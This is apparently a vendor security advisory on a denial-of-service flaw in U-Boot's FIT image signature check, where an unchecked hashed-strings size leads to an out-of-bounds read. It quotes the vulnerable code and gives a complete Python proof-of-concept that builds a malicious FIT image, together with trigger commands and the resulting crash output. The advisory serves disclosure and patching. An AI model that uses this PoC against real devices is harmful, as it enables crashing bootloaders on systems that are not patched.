Denial of service in U-Boot during FIT image signature verification because of unchecked `size` value of `hashed-strings` property
BINARLY REsearch team has discovered an out-of-bounds read vulnerability in U-Boot during the FIT image signature verification process, allowing a potential attacker to cause a denial of service.
Image preview
Potential Impact
An attacker can exploit this vulnerability to cause a denial of service (DoS) of the device running the U-Boot bootloader.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2026-039
- BINARLY calculated CVSS v3.1: 4.6 Medium AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Image preview
Affected U-Boot versions
U-Boot v2026.04: https://github.com/u-boot/u-boot/archive/refs/tags/v2026.04.tar.gz.
NOTE: The vulnerability was also confirmed to be present in the latest U-Boot commit on the master branch at the time of reporting (https://github.com/u-boot/u-boot/tree/38dbe637c9dfcadbd1bc201bfbb27f96b2ad525a).
Image preview
Vulnerability description
The fit_config_check_sig function in boot/image-fit-sig.c builds a list of FDT regions that cover the parts of the FIT that must be hashed for the signature verification. Once the structure regions have been collected, the function adds one extra region for the string table, using the hashed-strings property:
/* Add the strings */
strings = fdt_getprop(fit, noffset, "hashed-strings", NULL);
if (strings) {
/*
* The strings region offset must be a static 0x0.
* This is set in tool/image-host.c
*/
fdt_regions[count].offset = fdt_off_dt_strings(fit);
fdt_regions[count].size = fdt32_to_cpu(strings[1]);
count++;
}
/* Allocate the region list on the stack */
struct image_region region[count];
fit_region_make_list(fit, fdt_regions, count, region);
if (info.crypto->verify(&info, region, count, fit_value,
fit_value_len)) {
*err_msgp = "Verification failed";
return -1;
}
strings is a pointer to the raw bytes of the hashed-strings property in the FIT. No check is performed on strings[1], and it is assigned verbatim as the size of the strings region. The fit_region_make_list function then copies the size verbatim into the region array:
for (i = 0; i < count; i++) {
debug("%10x %10x\n", fdt_regions[i].offset,
fdt_regions[i].size);
region[i].data = fit + fdt_regions[i].offset;
region[i].size = fdt_regions[i].size;
}
info.crypto->verify for sha1,rsa2048 is rsa_verify, located in lib/rsa/rsa-verify.c, which calls hash_calculate defined in lib/hash-checksum.c:
for (i = 0; i < region_count - 1; i++) {
ret = algo->hash_update(algo, ctx, region[i].data,
region[i].size, 0);
if (ret)
return ret;
}
hash_update_sha1, defined in common/hash.c, takes the per-region size as an unsigned int and feeds it directly to sha1_update. With an attacker-chosen value such as 0xFFFFFFFF, the SHA update reads nearly four gigabytes from fit + fdt_off_dt_strings(fit), walking well past the end of the FIT image and into unmapped memory.
Image preview
Steps for exploitation
Build U-Boot with sandbox configuration:
make sandbox_defconfig
make -j"$(nproc)" KCFLAGS=-fcommon
Use the following script to generate a PoC FIT image and a minimal keyblob DTB to trigger the vulnerability:
#!/usr/bin/env python3
import io
import os
import struct
import sys
FDT_MAGIC = 0xD00DFEED
FDT_VERSION = 17
FDT_COMP_VERS = 16
FDT_BEGIN_NODE = 1
FDT_END_NODE = 2
FDT_PROP = 3
FDT_END = 9
HDR_SIZE = 40
RSV_SIZE = 16
# large value to trigger the DoS
HASHED_STRINGS_LEN = 0xFFFFFFFF
def be32(x):
return struct.pack(">I", x & 0xFFFFFFFF)
def pad4(n):
return (n + 3) & ~3
class StringTable:
def __init__(self):
self.buf = bytearray()
self.idx = {}
def add(self, s):
if s in self.idx:
return self.idx[s]
off = len(self.buf)
self.idx[s] = off
self.buf.extend(s.encode("ascii") + b"\x00")
return off
def bytes(self):
return bytes(self.buf)
def begin(out, name):
out.write(be32(FDT_BEGIN_NODE))
b = name.encode("ascii") + b"\x00"
out.write(b + b"\x00" * (pad4(len(b)) - len(b)))
def end(out):
out.write(be32(FDT_END_NODE))
def prop(out, st, name, value):
out.write(be32(FDT_PROP))
out.write(be32(len(value)))
out.write(be32(st.add(name)))
out.write(value + b"\x00" * (pad4(len(value)) - len(value)))
def build(path):
st = StringTable()
body = io.BytesIO()
begin(body, "")
begin(body, "images")
begin(body, "kernel")
begin(body, "hash-1")
prop(body, st, "algo", b"sha1\x00")
end(body) # hash-1
end(body) # kernel
end(body) # images
begin(body, "configurations")
prop(body, st, "default", b"conf-1\x00")
begin(body, "conf-1")
prop(body, st, "kernel", b"kernel\x00")
begin(body, "signature-1")
prop(body, st, "algo", b"sha1,rsa2048\x00")
prop(body, st, "value", b"\x00" * 256)
# Forge entry
prop(body, st, "hashed-strings", be32(0) + be32(HASHED_STRINGS_LEN))
end(body) # signature-1
end(body) # conf-1
end(body) # configurations
end(body) # root
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_mem_rsvmap = HDR_SIZE
off_dt_struct = HDR_SIZE + RSV_SIZE
off_dt_strings = off_dt_struct + len(struct_bytes)
totalsize = off_dt_strings + len(strings_bytes)
header = b"".join([
be32(FDT_MAGIC),
be32(totalsize),
be32(off_dt_struct),
be32(off_dt_strings),
be32(off_mem_rsvmap),
be32(FDT_VERSION),
be32(FDT_COMP_VERS),
be32(0),
be32(len(strings_bytes)),
be32(len(struct_bytes)),
])
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(struct_bytes)
f.write(strings_bytes)
def build_keyblob(path):
st = StringTable()
body = io.BytesIO()
begin(body, "")
begin(body, "binman")
end(body)
begin(body, "signature")
begin(body, "key-prod")
prop(body, st, "required", b"conf\x00")
prop(body, st, "algo", b"sha1,rsa2048\x00")
end(body)
end(body)
end(body)
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_dt_struct = HDR_SIZE + RSV_SIZE
off_dt_strings = off_dt_struct + len(struct_bytes)
totalsize = off_dt_strings + len(strings_bytes)
header = b"".join([
be32(FDT_MAGIC),
be32(totalsize),
be32(off_dt_struct),
be32(off_dt_strings),
be32(HDR_SIZE),
be32(17),
be32(16),
be32(0),
be32(len(strings_bytes)),
be32(len(struct_bytes)),
])
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(struct_bytes)
f.write(strings_bytes)
if __name__ == "__main__":
fit = sys.argv[1] if len(sys.argv) > 1 else "poc.fit"
key = sys.argv[2] if len(sys.argv) > 2 else "keyblob.dtb"
build(fit)
build_keyblob(key)
We can now confirm that U-Boot crashes when the crafted FIT image signature is verified:
./u-boot -d keyblob.dtb -c 'host load hostfs - 100 poc.fit; fdt addr 100; fdt checksign'
Bloblist at 100 not found (err=-2)
U-Boot 2026.04 (May 13 2026 - 23:14:52 +0100)
DRAM: 256 MiB
Core: 29 devices, 15 uclasses, devicetree: board, universal payload active
NAND: 0 MiB
MMC:
Loading Environment from nowhere... OK
Warning: device tree node '/config/environment' not found
In: serial,cros-ec-keyb,usbkbd
Out: serial,vidconsole
Err: serial,vidconsole
Net: eth_initialize() No ethernet found.
597 bytes read in 0 ms
Working FDT set to 100
sha1,rsa2048:<NULL>zsh: segmentation fault ./u-boot -d keyblob.dtb -c
The crash occurs because the memcpy call inside mbedtls_get_unaligned_uint32 reads from an unmapped memory address, which is the direct result of the unchecked hashed-strings size used in fit_config_check_sig.
Image preview
How to fix it
The size taken from the hashed-strings property (strings[1]) must be validated against the FIT image bounds before it is used as a region size.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
U-Boot maintainers are notified | 2026-05-20 |
U-Boot maintainers merged the fix patch | 2026-06-12 |
BINARLY public disclosure date | 2026-07-01 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs